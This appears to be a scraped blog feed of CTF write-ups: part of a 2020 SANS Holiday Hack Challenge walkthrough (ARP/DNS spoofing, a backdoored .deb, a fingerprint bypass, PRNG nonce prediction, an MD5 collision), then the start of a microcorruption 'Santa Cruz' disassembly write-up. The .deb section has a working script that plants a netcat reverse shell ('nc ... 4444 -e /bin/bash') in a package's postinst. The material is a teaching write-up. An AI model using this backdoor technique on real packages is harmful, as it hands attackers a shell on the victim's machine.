2437484659 ecr 0,nop,wscale 7], length 0 16:53:36.017388 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 [ ... ] 16:53:36.102610 IP 10.6.6.35.55554 \u0026gt; 10.6.0.3.80: Flags [S], seq 4003720740, win 64240, options [mss 1460,sackOK,TS val 1978770089 ecr 0,nop,wscale 7], length 0 16:53:36.102645 IP 10.6.0.3.80 \u0026gt; 10.6.6.35.55554: Flags [R.], seq 0, ack 4003720741, win 0, length 0 A connection for TCP port 80 (amongst others). The other, new, non-port 80 traffic was TLS, but I think that may have been an artefact of other processes running on the target host? I don\u0026rsquo;t know. Anyways, a port 80 connection implies a web request, so I fired up an http server using python, and re-ran the whole attack. This is where the DNS response script in a loop helped. I only had to run the ARP spoof manually.\n  arp shenanigans http request after the DNS poison   In our simple web server, we can see a request for /pub/jfrost/backdoor/suriv_amd64.deb.\nguest@a85cc3252902:~$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.6.6.35 - - [01/Jan/2021 16:59:38] code 404, message File not found 10.6.6.35 - - [01/Jan/2021 16:59:38] \u0026#34;GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1\u0026#34; 404 - One of the hints on your badge would have helped with this part, which said:\n The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file.\n The article that was linked to pretty much clearly tells you what you need to do from here. Backdoor a .deb file (of which there were many in the debs/ folder). Since the target host we had was downloading one we could do the backdoor, rename it to what they were downloading and hope they would execute our shell.\nI won’t repeat what the article clearly states, but instead show the script I wrote to automate it given that it took a few tries to get right.\n#!/bin/bash  set -e DEB=\u0026#34;netcat-traditional_1.10-41.1ubuntu1_amd64.deb\u0026#34; TPATH=\u0026#34;/tmp/packaging\u0026#34; rm -Rf $TPATH mkdir $TPATH cd $TPATH cp ~/debs/$DEB . dpkg -x $DEB work ar -x $DEB tar xvf control.tar.xz ./control tar xvf control.tar.xz ./postinst mkdir work/DEBIAN mv ./control work/DEBIAN/control mv ./postinst work/DEBIAN/postinst US=$(ip a | grep inet | grep -v \u0026#34;127.0.0.1\u0026#34; | cut -d \u0026#34; \u0026#34; -f6 | cut -d \u0026#34;/\u0026#34; -f1) cat \u0026lt;\u0026lt;EOT \u0026gt;\u0026gt; work/DEBIAN/postinst nc $US 4444 -e /bin/bash \u0026amp; EOT dpkg-deb --build $TPATH/work/ This simply embedded a classic netcat reverse shell in the .deb file, which then served using the python HTTP server. One thing that cost me a lot of time was the fact that my fancy IP extraction one-liner was running ip -c, which enabled color output. This is great when you are the one that wants to read it, but not so much for computers. See the thing is that output resulted in an ANSI encoded string which when it got to the other side, meant that it broke the script and nothing happened. Yay :(\nAnyhoo, executing the full attack looked something like this:\n  arp shenanigans shell from 10.6.6.35   From here we could just cat /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt and find that Tanta Kringle recused herself.\n10 - defeat fingerprint sensor  Bypass the Santavator fingerprint sensor. Enter Santa\u0026rsquo;s office without Santa\u0026rsquo;s fingerprint.\n This challenge was the first time I started fiddling with how the Santavator was working under the hood.\n  santavator fingerprint reader   When activating the fingerprint reader as Santa, you are teleported straight to Santa\u0026rsquo;s Office. However, as your normal avatar, well, nothing happens when you click on it. So, the next logical thing was to pop open the browser console and get a feel for what drives the elevator.\n  santavator fingerprint reader javascript sources   I found some JavaScript in app.js, and read all of it. When I wanted to see what the current values were that were stored in variables, I\u0026rsquo;d switch to the console, select the elevator iframe and tinker away. One specific variable caught my attention after understanding the sourc a little better.\n  santavator fingerprint reader tokens   If you are playing as Santa though, that array looks a little different.\n[\u0026#34;redlight\u0026#34;, \u0026#34;workshop-button\u0026#34;, \u0026#34;marble\u0026#34;, \u0026#34;nut\u0026#34;, \u0026#34;candycane\u0026#34;, \u0026#34;elevator-key\u0026#34;, \u0026#34;nut2\u0026#34;, \u0026#34;ball\u0026#34;, \u0026#34;yellowlight\u0026#34;, \u0026#34;greenlight\u0026#34;, \u0026#34;besanta\u0026#34;] Notice the besanta entry there? So, to beat this one, change to your avatar, open up the browser console and add besanta to the tokens array with the below and click the fingerprint sensor:\ntokens.push(\u0026#39;besanta\u0026#39;) 11a - naughty/nice list with blockchain investigation part 1  Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000? Talk to Tangle Coalbox in the Speaker UNpreparedness Room for tips on prediction and Tinsel Upatree for more tips and tools. (Enter just the 16-character hex value of the nonce)\n   blockchain challenge in santas office   Clicking on the naughty/nice list on the desk will take you to https://download.holidayhackchallenge.com/2020/blockchain.dat to download a file called blockchain.dat. Save this one. Next, the conversation with Tinsel Upatree will reveal a set of tools you could use to interact with that file, located here: https://download.holidayhackchallenge.com/2020/OfficialNaughtyNiceBlockchainEducationPack.zip.\nThe \u0026ldquo;EducationPack\u0026rdquo; archive contains a simple Dockerfile to setup pycryptodome, as well as certificates that will allow you to interact with the blockchain data file you previously downloaded. As pycryptodome is a simple python dependency, I just installed it in a virtual environment and worked from there. Nothing stops you from building and using the docker container though.\nThe more important file though is naughty_nice.py. The beginning of the file contains a very large comment with a summary of how a blockchain works in general, together with some usage information about the two classes in the file; Block and Chain. The scripts\u0026rsquo; entry point also has some example usage where a new Chain is created, and some blocks (including a genesis block) are added and finally verified.\nNow before we dive into the nonce prediction part of this objective, let\u0026rsquo;s get familiar with the two new classes we have to work with. I created a new file, main.py and imported the Block and Chain classes from the naughty_nice module. Next, I loaded the blockchain.dat file we got and tried to verify the chain using the verify_chain() function.\nimport hashlib from Crypto.PublicKey import RSA from naughty_nice import Chain with open(\u0026#39;official_public.pem\u0026#39;, \u0026#39;rb\u0026#39;) as fh: official_public_key = RSA.importKey(fh.read()) c2 = Chain(load=True, filename=\u0026#39;blockchain.dat\u0026#39;) print(f\u0026#39;chain verify: {c2.verify_chain(official_public_key)}\u0026#39;) Running that resulted in:\n$ python3 main-blog.py *** WARNING *** Wrong previous hash at block 128449. *** WARNING *** Blockchain invalid from block 128449 onward. chain verify: False Closer inspection of the verify_chain() function reveals that it accepts a second argument to specify the hash for the previous block. Since we don\u0026rsquo;t have the full blockchain data that starts with the genesis block, we need to specify the hash we can find from the data we do have. So, I looped the blocks in the chain after loading and extracted the PreviousHash.\n# [ ... ] c2 = Chain(load=True, filename=\u0026#39;blockchain.dat\u0026#39;) print(f\u0026#39;chain verify: {c2.verify_chain(official_public_key)}\u0026#39;) for block in c2.blocks: print(block) break The updated script would now print the full block (in an easy to read format thanks to the a __repr__() method on the Block class), where we could see the PreviousHash value.\n$ python3 main-blog.py *** WARNING *** Wrong previous hash at block 128449. *** WARNING *** Blockchain invalid from block 128449 onward. chain verify: False Chain Index: 128449 Nonce: e3e12de5edfb51e2 PID: 0803508ada0a5ebf [ ... ] Date: 03/24 Time: 13:21:00 PreviousHash: c6e2e6ecb785e7132c8003ab5aaba88d Data Hash to Sign: 03cfb11504b8eee93b26aeb0d8ac39ff Signature: b\u0026#39;PT4OZUq+vwfNDhqipxwt28NC4Hd7dw6N1i4XHMGkIMR53qy8dF47YwpqzEjW0EAbUYPZ+b/E4X3YjXUTI0VnoJ2VsJQWtIPwcGIk5ayMfe5dgrjuLle5NUyEpd1EpIPdiSLMnyvbJEzG3HfA2dpkNsXWtO/D5wFYWGEErAt/PyH9CK/QuV5w3ArCwEmM61KWV7XTmC38EQoIm9iz5QQIIBU2onlZUcBlZ81N+H8pL/utpArkLppSwdRdx5f2kHUTLM7I2egDAdHhQ5zPAbZLoJ03HYjEBGKXiSQjAGhqY47U2DmliyOEehchTmmq+JiBF3ozXiV5hm89y/mN2uUzmQ==\u0026#39; Knowing the PreviousHash value, we can call chain_verify() with the updated values.\n# [ ... ] c2 = Chain(load=True, filename=\u0026#39;blockchain.dat\u0026#39;) print(f\u0026#39;chain verify: {c2.verify_chain(official_public_key, \u0026#34;c6e2e6ecb785e7132c8003ab5aaba88d\u0026#34;)}\u0026#39;) This would result in the output stating chain verify: True. Great!\nAs far as nonce prediction goes, I first printed every single block as I did before, and used grep on that output to just get the Nonce value.\n$ python3 main-blog.py | grep Nonce | head Nonce: e3e12de5edfb51e2 Nonce: 2176088150fdfd1d Nonce: 0a2dada92f154da4 Nonce: d391517e345e0ffe Nonce: 8836422291566d65 Nonce: f4d0bb0198759e1d Nonce: 7640cd71f6ea6c76 Nonce: ec7a1a8ea7369d3b Nonce: 5fb94c5bbfb85869 Nonce: 27ac5576a7505af7 The snowball fight terminal challenge had us play with the Mersenne twister algorithm, and the sample code we used wanted integers to replicate the PRNG\u0026rsquo;s state. Looking at the Nonce values, they appeared to be hex, so I had a quick look at converting those to integers.\n$ python3 Python 3.8.7 (default, Dec 30 2020, 10:14:55) [Clang 12.0.0 (clang-1200.0.32.28)] on darwin Type \u0026#34;help\u0026#34;, \u0026#34;copyright\u0026#34;, \u0026#34;credits\u0026#34; or \u0026#34;license\u0026#34; for more information. \u0026gt;\u0026gt;\u0026gt; 0xe3e12de5edfb51e2 16420456181932970466 \u0026gt;\u0026gt;\u0026gt; Easy! We also had a total of 1548 blocks in our chain, and therefore 1548 nonces which was more than enough to replicate the state of the PRNG. At this point I also realised I did not have to resort to silly shell parsing of the Nonce values as they were available in code when looping the blocks in the blockchain.\n# [ ... ] c2 = Chain(load=True, filename=\u0026#39;blockchain.dat\u0026#39;) # extract the nonce values from all the blocks in the chain nonce = [block.nonce for block in c2.blocks] print(nonce[:2]) This would print the first two nonce values extracted as (notice how they are already integers now!):\n$ python3 main-blog.py [16420456181932970466, 2411124002006105373] At this stage I naively thought I could just replicate what we had done in the snowball fight by replicating the PRNG\u0026rsquo;s state, and then continue to reveal the next values. The problem was though that when you did this, you would not get the correct nonce value! Remember, the question states (and you can easily verify) that the last block we have has the index 129996, and they want to know the nonce value for 130000. That’s just 4 predictions forward? Well, those values won’t be correct.\nMy first hypothesis was that because we are only feeding 624 numbers into the algorithm, our predictions should at least match the nonce value for the 625th block we have in the chain, right? No, even this was incorrect as it seemed like we could not even predict the 625th nonce correctly!\nRe-reading Tom\u0026rsquo;s original script from the terminal challenge, I realised that it was actually expecting 32bit numbers, and not 64bit ones like we are feeding to it at the moment. The biggest hint for that was this function in the mt19937 class.\ndef my_int32(self, x): return (x \u0026amp; 0xFFFFFFFF) Because of this function, only part of our 64bit numbers were fed into the algorithm to determine state, meaning that our predictions won\u0026rsquo;t match. The question though was, how do you handle 64bit numbers? At this stage I could bore you with the countless Google\u0026rsquo;s I did and various articles I read. In the end, there were two things I saw that helped me realise what I had to do.\nUnfortunately, I can\u0026rsquo;t recall the source of the first hint, but I read an (article|code|blog|paper) that mentioned that the algorithm expects a DWORD, which is a 32bit unsigned integer, for each entry in the state array. That had me think I\u0026rsquo;d have to split the 64bit integer up into two 32bit integers. But, I had no idea if I had to feed both into the algorithm, or one, or if both, which one first? Anyways.\nThe second hint was reading code for an existing mersenne-twister-predictor project on Github to try and see if (and how) it handled 64bit values. I found the relevant code here, which had the setrandbits() function accept raw bits and an indication of how many bits.\n# source: https://github.com/kmyk/mersenne-twister-predictor/blob/25b5723c70e60398d2e8d6fdd51b887e343a97ae/mt19937predictor.py#L88-L101 def setrandbits(self, y, bits): \u0026#39;\u0026#39;\u0026#39;The interface for :py:meth:`random.Random.getrandbits` in Python\u0026#39;s Standard Library \u0026#39;\u0026#39;\u0026#39; if not (bits % 32 == 0): raise ValueError(\u0026#39;number of bits must be a multiple of 32\u0026#39;) if not (0 \u0026lt;= y \u0026lt; 2 ** bits): raise ValueError(\u0026#39;invalid state\u0026#39;) if bits == 32: self.setrand_int32(y) else: while bits \u0026gt; 0: self.setrand_int32(y \u0026amp; 0xffffffff) y \u0026gt;\u0026gt;= 32 bits -= 32 Here we can see that 32bit values were being fed into the state array after being split up using some bitshift magic (and a hint of how many bits were expected). The state array feeding was also continuously done until there were no more bits left, meaning that the complete 64bit integer had to be squeezed in, in chunks of 32bit. That was enough to put me on the right path to solve this one!\nTo split up the 64bit number, you can literally just google something like \u0026ldquo;split 64-bit into two 32-bit\u0026rdquo; (ignoring the \u0026ldquo;how to convert 64bit apps to 32bit\u0026rdquo; lol). Regardless of the language the result is in, bitshift operations are usually pretty generic. The first hit for my suggested search was this post which showed the operations needed to both pack and unpack the 64bit integer. To get the lower number use number \u0026amp; 0xffffffff, and to get the higher number use number \u0026gt;\u0026gt; 32.\nArmed with this knowledge I modified my nonce predictor script to loop over all of the 64bit nonces, split them up and populate a new 32bit nonce array. To know if the lower or higher number had to come first took some trial and error. Then I just followed the same loop like we did in the snowball fight game.\nnonce64 = [block.nonce for block in c2.blocks] nonce32 = [] for n in nonce64: l, h = n \u0026amp; 0xffffffff, n \u0026gt;\u0026gt; 32 nonce32.append(l) nonce32.append(h) for i in range(mt19937.n): rng.MT[i] = untemper(nonce32[i]) I was almost there. The last bit needed was to extract a 64bit number again from the PRNG we have replicated the state of. Using the same mersenne-twister-predictor project, a getrandbits() function revealed that it would just keep on reading bits until the number of bits you wanted was reached. In other words, literally the inverse of the feeding process we followed. So, I created one more function to just get me a 64bit number by asking for two new numbers, and packing them into a 64bit integer.\ndef getnonce64(): a = rng.extract_number() b = rng.extract_number() return (b \u0026lt;\u0026lt; 32) | a Putting this all together resulted in me being able to correctly predict the 625th nonce like we had it in the blockchain. For the last block in the blockchain we know the nonce was eb806dad1ad54826, so to wrap this up I looped the number predictor until we reached that nonce (remember we had like 1500+ blocks), and then just stepped four more nonces to get to the answer. The final script I had was:\nfrom mt19937 import mt19937, untemper from naughty_nice import Chain match = 0xeb806dad1ad54826 rng = mt19937(0) c2 = Chain(load=True, filename=\u0026#39;blockchain.dat\u0026#39;) nonce64 = [block.nonce for block in c2.blocks] nonce32 = [] for n in nonce64: l, h = n \u0026amp; 0xffffffff, n \u0026gt;\u0026gt; 32 nonce32.append(l) nonce32.append(h) for i in range(mt19937.n): rng.MT[i] = untemper(nonce32[i]) def getnonce64(): a = rng.extract_number() b = rng.extract_number() return (b \u0026lt;\u0026lt; 32) | a # ff to the latest value while getnonce64() != match: continue print(f\u0026#39;next nonce: {hex(getnonce64())}\u0026#39;) print(f\u0026#39;next nonce: {hex(getnonce64())}\u0026#39;) print(f\u0026#39;next nonce: {hex(getnonce64())}\u0026#39;) print(f\u0026#39;next nonce: {hex(getnonce64())}\u0026#39;) With this, the answer was: 57066318f32f729d\n11b - naughty/nice list with blockchain investigation part 2  The SHA256 of Jack\u0026rsquo;s altered block is: 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f. If you\u0026rsquo;re clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you\u0026rsquo;ve recreated the original block, what is the SHA256 of that block?\n This challenge was amazing. A lot of the hints you had from Elves and your badge made it clear that this blockchain was hashing using MD5 and they needed to change that. We\u0026rsquo;re given a sha265 of a block that had been altered, but since MD5 was in use we couldn\u0026rsquo;t just filter for that block. Instead, we had to rehash the blocks ourselves to identify the altered block. Watching the talk by Qwerty Petabyte (gosh, that voice was not fun to listen to), a slide showing the parts that are hashed was shown here. Specifically, everything, including the signature is hashed.\nIn the Block class, you\u0026rsquo;d find two functions that would return data from the block to be hashed; block_data() and block_data_signed(). The latter included the signature field, just like it was mentioned in the talk slide. So, to calculate the sha265 of every block, I imported hashlib and did that for the return value of block_data_signed(), matching that against the sha266 we were given.\nimport hashlib from naughty_nice import Chain c2 = Chain(load=True, filename=\u0026#39;blockchain.dat\u0026#39;) for block in c2.blocks: m = hashlib.sha256() m.update(block.block_data_signed()) if not (m.hexdigest() == \u0026#34;58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f\u0026#34;): continue print(block) print(f\u0026#39;MD5: {block.full_hash()}\u0026#39;) This revealed the following block as the culprit. Notice just how nice this person was, and that it was the only block with two documents.\nChain Index: 129459 Nonce: a9447e5771c704f4 PID: 0000000000012fd1 RID: 000000000000020f Document Count: 2 Score: ffffffff (4294967295) Sign: 1 (Nice) Data item: 1 Data Type: ff (Binary blob) Data Length: 0000006c Data: b\u0026#39;ea465340303a6079d3df2762be68467c27f046d3a7ff4e92dfe1def7407f2a7b73e1b759b8b919451e37518d22d987296fcb0f188dd60388bf20350f2a91c29d0348614dc0bceef2bcadd4cc3f251ba8f9fbaf171a06df1e1fd8649396ab86f9d5118cc8d8204b4ffe8d8f09\u0026#39; Data item: 2 Data Type: 05 (PDF) Data Length: 00009f57 [ ... laaaaaarge PDF Data section ... ] Date: 03/24 Time: 13:21:41 PreviousHash: 4a91947439046c2dbaa96db38e924665 Data Hash to Sign: 347979fece8d403e06f89f8633b5231a Signature: b\u0026#39;MJIxJy2iFXJRCN1EwDsqO9NzE2Dq1qlvZuFFlljmQ03+erFpqqgSI1xhfAwlfmI2MqZWXA9RDTVw3+aWPq2S0CKuKvXkDOrX92cPUz5wEMYNfuxrpOFhrK2sks0yeQWPsHFEV4cl6jtkZ//OwdIznTuVgfuA8UDcnqCpzSV9Uu8ugZpAlUY43Y40ecJPFoI/xi+VU4xM0+9vjY0EmQijOj5k89/AbMAD2R3UbFNmmR61w7cVLrDhx3XwTdY2RCc3ovnUYmhgPNnduKIUA/zKbuu95FFi5M2r6c5Mt6F+c9EdLza24xX2J4l3YbmagR/AEBaF9EBMDZ1o5cMTMCtHfw==\u0026#39; MD5: b10b4a6bd373b61f32f4fd3a0cdfbf84 The block had two documents that you could extract using block.dump_doc(1) and block.dump_doc(2). This would save the files to disk. I did not know what to do with the binary blob, but the PDF was interesting. I also saved the whole block we identified with:\nwith open(\u0026#39;modified_block.dat\u0026#39;, \u0026#39;wb\u0026#39;) as f: f.write(block.block_data_signed())   jack frost being suuuper nice it seems   Alright, it was clear from the hints that this challenge was some form of hash collision, so I worked though the contents of each of the suggested links:\n https://github.com/cr-marcstevens/hashclash https://github.com/corkami/collisions https://speakerdeck.com/ange/colltris  The slide deck was suuuper helpful (slide 101 to 111) to translate what was spoken about in the Github projects. I also found this talk by Ange Albertini really useful to colour in some of the gaps I had in the slide deck.\nIn the end, I realised we had a potential UNICOL collision, and the work I had to do was to identify the 4 specific bytes that were changed. From the provided material, I understood that the UNICOL collision relied on a similar prefix for the two files, preferably at a 64byte boundary (which could be padded if needed). I also understood that the file format matters even though we may be able to generate a hash collision. To help me better understand the block file format (and prepare for the byte changes needed), I loaded up the modified block in a hex editor and studied the Block.load_a_block() function closer.\ndef load_a_block(self, fh): self.index = int(fh.read(16), 16) self.nonce = int(fh.read(16), 16) self.pid = int(fh.read(16), 16) self.rid = int(fh.read(16), 16) self.doc_count = int(fh.read(1), 10) self.score = int(fh.read(8), 16) self.sign = int(fh.read(1), 10) count = self.doc_count while count \u0026gt; 0: l_data = { \u0026#39;type\u0026#39;: int(fh.read(2), 16), \u0026#39;length\u0026#39;: int(fh.read(8), 16) } l_data[\u0026#39;data\u0026#39;] = fh.read(l_data[\u0026#39;length\u0026#39;]) self.data.append(l_data) count -= 1 self.month = int(fh.read(2)) self.day = int(fh.read(2)) self.hour = int(fh.read(2)) self.minute = int(fh.read(2)) self.second = int(fh.read(2)) self.previous_hash = str(fh.read(32))[2:-1] self.hash = str(fh.read(32))[2:-1] self.sig = fh.read(344) return self Each property assignment came from reading a certain number of bytes of a raw block. For example, the index lived in the first 16 bytes of the block. Referencing a hex editor, we could confirm all of these. i.e. The hex value 0x1F9B3 which is the index matches the parsed value of 129459 when we re-hashed the blockchain to identify the modified block.\n  modified blockchain block snippet of the first 160 bytes, with the first 64 bytes highlighted using \u0026lt;https://hexed.it/\u0026gt;   I followed the load_a_block() function and marked the starting points of interesting fields so that I could navigate the file a little easier as well. This way I could easily identify metadata from data etc. Looking at the value for the score, we could see that this was a really, really high number. So, I thought this must be where one of the bytes had to change. I tried to manually fiddle with the bytes there and recalculate the MD5 hash, but to no avail.\nMy next step was to try out the hashclash proof of concept. I downloaded the binary release and navigated to the scripts/ directory. In here I made a new folder to work in, and copied out the first 64 bytes as a prefix to try.\n$ xxd prefix.dat 00000000: 3030 3030 3030 3030 3030 3031 6639 6233 000000000001f9b3 00000010: 6139 3434 3765 3537 3731 6337 3034 6634 a9447e5771c704f4 00000020: 3030 3030 3030 3030 3030 3031 3266 6431 0000000000012fd1 00000030: 3030 3030 3030 3030 3030 3030 3032 3066 000000000000020f Next, I ran the poc_no.sh script with my prefix, and waited :D\n  hashclash running on my chosen 64byte prefix   After not too long hashclash generated two files that had the same prefix, but had trailing bytes changed such that the MD5 of both files were the same! Incredible.\n  first hashclash MD5 collision found   From the radiff2 output we could see that the bytes we can fiddle with are at offsets 0x00000040 and 0x00000080. From slide 109 in the presentation, we also know that one byte typically goes up, and the other corresponding one goes down. Given that the block we\u0026rsquo;re working with has supposedly already been fiddled with, to get back to the original values we need to inverse those addition and subtraction operations, right? So, using the locations of the bytes identified by hashclash as reference, I did just that.\n  first reverted bytes in the modified block   That 0x31 became 0x30 and that 0xD6 became a 0xD7. The first changed byte actually changed the sign of the value, which explains why it was so high too! With these two bytes changed, checking the MD5 of the block, you\u0026rsquo;d find that it was still b10b4a6bd373b61f32f4fd3a0cdfbf84. 🚀\nThe next two bytes were a little harder to identify. I spent a bunch more time trying to manually find them, and for the longest time fixated on the \u0026lt;\u0026lt;Type/Catalog/_Go_Away/Santa/Pages tag in the dump. Specifically, changing Pages 2 to things like Pages 3 or Pages 1. Unfortunately I just couldn\u0026rsquo;t get the MD5 sum to remain unchanged. Out of interest, I changed the same value in the raw PDF document (extracted from the block remember), and was met with this when opened:\n  jack frost being not so nice after all   Looks like Jack Frost managed to hide some complaints in that PDF. ha ha.\nTo find the other two bytes to modify, I resorted to using the hashclash poc again. I gradually increased the prefix used to one that was eventually 256 bytes long to find the next two bytes that had to be changed.\n$ xxd modified_block.256.dat 00000000: 3030 3030 3030 3030 3030 3031 6639 6233 000000000001f9b3 00000010: 6139 3434 3765 3537 3731 6337 3034 6634 a9447e5771c704f4 00000020: 3030 3030 3030 3030 3030 3031 3266 6431 0000000000012fd1 00000030: 3030 3030 3030 3030 3030 3030 3032 3066 000000000000020f 00000040: 3266 6666 6666 6666 6631 6666 3030 3030 2ffffffff1ff0000 00000050: 3030 3663 ea46 5340 303a 6079 d3df 2762 006c.FS@0:`y..\u0026#39;b 00000060: be68 467c 27f0 46d3 a7ff 4e92 dfe1 def7 .hF|\u0026#39;.F...N..... 00000070: 407f 2a7b 73e1 b759 b8b9 1945 1e37 518d @.*{s..Y...E.7Q. 00000080: 22d9 8729 6fcb 0f18 8dd6 0388 bf20 350f \u0026#34;..)o........ 5. 00000090: 2a91 c29d 0348 614d c0bc eef2 bcad d4cc *....HaM........ 000000a0: 3f25 1ba8 f9fb af17 1a06 df1e 1fd8 6493 ?%............d. 000000b0: 96ab 86f9 d511 8cc8 d820 4b4f fe8d 8f09 ......... KO.... 000000c0: 3035 3030 3030 3966 3537 2550 4446 2d31 0500009f57%PDF-1 000000d0: 2e33 0a25 25c1 cec7 c521 0a0a 3120 3020 .3.%%....!..1 0 000000e0: 6f62 6a0a 3c3c 2f54 7970 652f 4361 7461 obj.\u0026lt;\u0026lt;/Type/Cata 000000f0: 6c6f 672f 5f47 6f5f 4177 6179 2f53 616e log/_Go_Away/San   second hashclash MD5 collision found   Turns out I wasn\u0026rsquo;t too far off with that Pages value, but this helped confirm and identify the next two bytes to swap.\n  4 fixed bytes in the modified block   Doing that meant the MD5 sum was still the same, however, the sha256 sum was now fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb which was also the objectives answer.\n","permalink":"https://leonjza.github.io/blog/2020/12/30/the-2020-kinglecon-3-holiday-hack-challenge/","summary":"foreword After tweaking the final bits for a successful MD5 hash collision in a tampered blockchain block, I\u0026rsquo;m met with a \u0026ldquo;Congratulations\u0026rdquo; message as I had just completed the final objective for the 2020 SANS Holiday Hack Challenge!\nFor a few days during my holiday break I set out to play the challenge this year. I\u0026rsquo;ve dabbled with Holiday Hack challenges in the past, however, this was the first one I actually finished (thanks COVID?","title":"the 2020 kinglecon 3 holiday hack challenge"},{"content":"  This post is part of the series of solving microcorruption.com ctf challenges which continues from the previous challenge called Johannesburg. This challenge is titled Santa Cruz.\nThe challenge has the following description when you start:\n This is Software Revision 05. We have added further mechanisms to verify that passwords which are too long will be rejected.\n Maybe we are finally done with the overflow problems? This challenge took me quite a bit of time to solve thanks to the new checks that were introduced. Like, a really long time. Lets go through the process.\nsanta cruz Static analysis of the programs' code showed that we are calling login from main again, after adjusting the stack pointer.\n4438 \u0026lt;main\u0026gt; 4438: 3150 ceff add #0xffce, sp 443c: b012 5045 call #0x4550 \u0026lt;login\u0026gt; Nothing too interesting. However, login was much larger when compared to previous versions we have seen. Once I finished skimming through login, I noticed that this program contained a number of methods that don\u0026rsquo;t seem to be called at all. For example, test_username_and_password_valid, putchar and getchar.\nIt quickly became evident that most of the important logic was within login. As previously mentioned, this routine was quite large, so lets take a closer look at it in smaller chunks.\n4550 \u0026lt;login\u0026gt; 4550: 0b12 push r11 4552: 0412 push r4 4554: 0441 mov sp, r4 4556: 2452 add #0x4, r4 4558: 3150 d8ff add #0xffd8, sp 455c: c443 faff mov.b #0x0, -0x6(r4) 4560: f442 e7ff mov.b #0x8, -0x19(r4) 4564: f440 1000 e8ff mov.b #0x10, -0x18(r4) The beginning of login contained three interesting instructions to move the bytes 0x0, 0x8 and 0x10 into very specific locations within memory. This caught my eye pretty quickly and they are important so keep them in mind.\n456a: 3f40 8444 mov #0x4484 \u0026#34;Authentication now requires a username and password.\u0026#34;, r15 456e: b012 2847 call #0x4728 \u0026lt;puts\u0026gt; 4572: 3f40 b944 mov #0x44b9 \u0026#34;Remember: both are between 8 and 16 characters.\u0026#34;, r15 4576: b012 2847 call #0x4728 \u0026lt;puts\u0026gt; This section is pretty vanilla. It simply prints out some strings. Notice though the fact that both the username and password is supposed to be between 8 (0x8) and 16 (0x10) characters.\n457a: 3f40 e944 mov #0x44e9 \u0026#34;Please enter your username:\u0026#34;, r15 457e: b012 2847 call #0x4728 \u0026lt;puts\u0026gt; 4582: 3e40 6300 mov #0x63, r14 4586: 3f40 0424 mov #0x2404, r15 458a: b012 1847 call #0x4718 \u0026lt;getsn\u0026gt; 458e: 3f40 0424 mov #0x2404, r15 4592: b012 2847 call #0x4728 \u0026lt;puts\u0026gt; 4596: 3e40 0424 mov #0x2404, r14 459a: 0f44 mov r4, r15 459c: 3f50 d6ff add #0xffd6, r15 45a0: b012 5447 call #0x4754 \u0026lt;strcpy\u0026gt;  45a4: 3f40 0545 mov #0x4505 \u0026#34;Please enter your password:\u0026#34;, r15 45a8: b012 2847 call #0x4728 \u0026lt;puts\u0026gt; 45ac: 3e40 6300 mov #0x63, r14 45b0: 3f40 0424 mov #0x2404, r15 45b4: b012 1847 call #0x4718 \u0026lt;getsn\u0026gt; 45b8: 3f40 0424 mov #0x2404, r15 45bc: b012 2847 call #0x4728 \u0026lt;puts\u0026gt; 45c0: 0b44 mov r4, r11 45c2: 3b50 e9ff add #0xffe9, r11 45c6: 3e40 0424 mov #0x2404, r14 45ca: 0f4b mov r11, r15 45cc: b012 5447 call #0x4754 \u0026lt;strcpy\u0026gt; Much like the previous challenge, this section simply gets the username and password from the user. Once a value has been captured, strcpy is called to move the data to another section in memory after echoing it back to the user.\n45d0: 0f4b mov r11, r15 45d2: 0e44 mov r4, r14 45d4: 3e50 e8ff add #0xffe8, r14 45d8: 1e53 inc r14 45da: ce93 0000 tst.b 0x0(r14) 45de: fc23 jnz #0x45d8 \u0026lt;login+0x88\u0026gt;  ; the loop is done 45e0: 0b4e mov r14, r11 45e2: 0b8f sub r15, r11 45e4: 5f44 e8ff mov.b -0x18(r4), r15 45e8: 8f11 sxt r15 45ea: 0b9f cmp r15, r11 45ec: 0628 jnc #0x45fa \u0026lt;login+0xaa\u0026gt; 45ee: 1f42 0024 mov \u0026amp;0x2400, r15 45f2: b012 2847 call #0x4728 \u0026lt;puts\u0026gt; 45f6: 3040 4044 br #0x4440 \u0026lt;__stop_progExec__\u0026gt; This section seems to have a loop, incrementing r14 until the byte at the memory location pointed to by r14 is 0x0. A length counter maybe? After the loop, the byte at -0x18(r4) (which is set to 0x10 at the start of the login routine remember?) is compared to that which is in r15. Depending on the outcome of the cmp at 0x45ea, the program may be stopped. I guess this is the overflow protection implemented.\n45fa: 5f44 e7ff mov.b -0x19(r4), r15 45fe: 8f11 sxt r15 4600: 0b9f cmp r15, r11 4602: 062c jc #0x4610 \u0026lt;login+0xc0\u0026gt; 4604: 1f42 0224 mov \u0026amp;0x2402, r15 4608: b012 2847 call #0x4728 \u0026lt;puts\u0026gt; 460c: 3040 4044 br #0x4440 \u0026lt;__stop_progExec__\u0026gt; Similarly, another cmp is done with the value at -0x19(r4) (which was set to 0x8 at the beginning of login) with a similar abrupt stop if it fails. This is most likely the lower bounds checking.\n4610: c443 d4ff mov.b #0x0, -0x2c(r4) 4614: 3f40 d4ff mov #0xffd4, r15 4618: 0f54 add r4, r15 461a: 0f12 push r15 461c: 0f44 mov r4, r15 461e: 3f50 e9ff add #0xffe9, r15 4622: 0f12 push r15 4624: 3f50 edff add #0xffed, r15 4628: 0f12 push r15 462a: 3012 7d00 push #0x7d 462e: b012 c446 call #0x46c4 \u0026lt;INT\u0026gt; 4632: 3152 add #0x8, sp 4634: c493 d4ff tst.b -0x2c(r4) 4638: 0524 jz #0x4644 \u0026lt;login+0xf4\u0026gt; 463a: b012 4a44 call #0x444a \u0026lt;unlock_door\u0026gt; 463e: 3f40 2145 mov #0x4521 \u0026#34;Access granted.\u0026#34;, r15 4642: 023c jmp #0x4648 \u0026lt;login+0xf8\u0026gt; 4644: 3f40 3145 mov #0x4531 \u0026#34;That password is not correct.\u0026#34;, r15 4648: b012 2847 call #0x4728 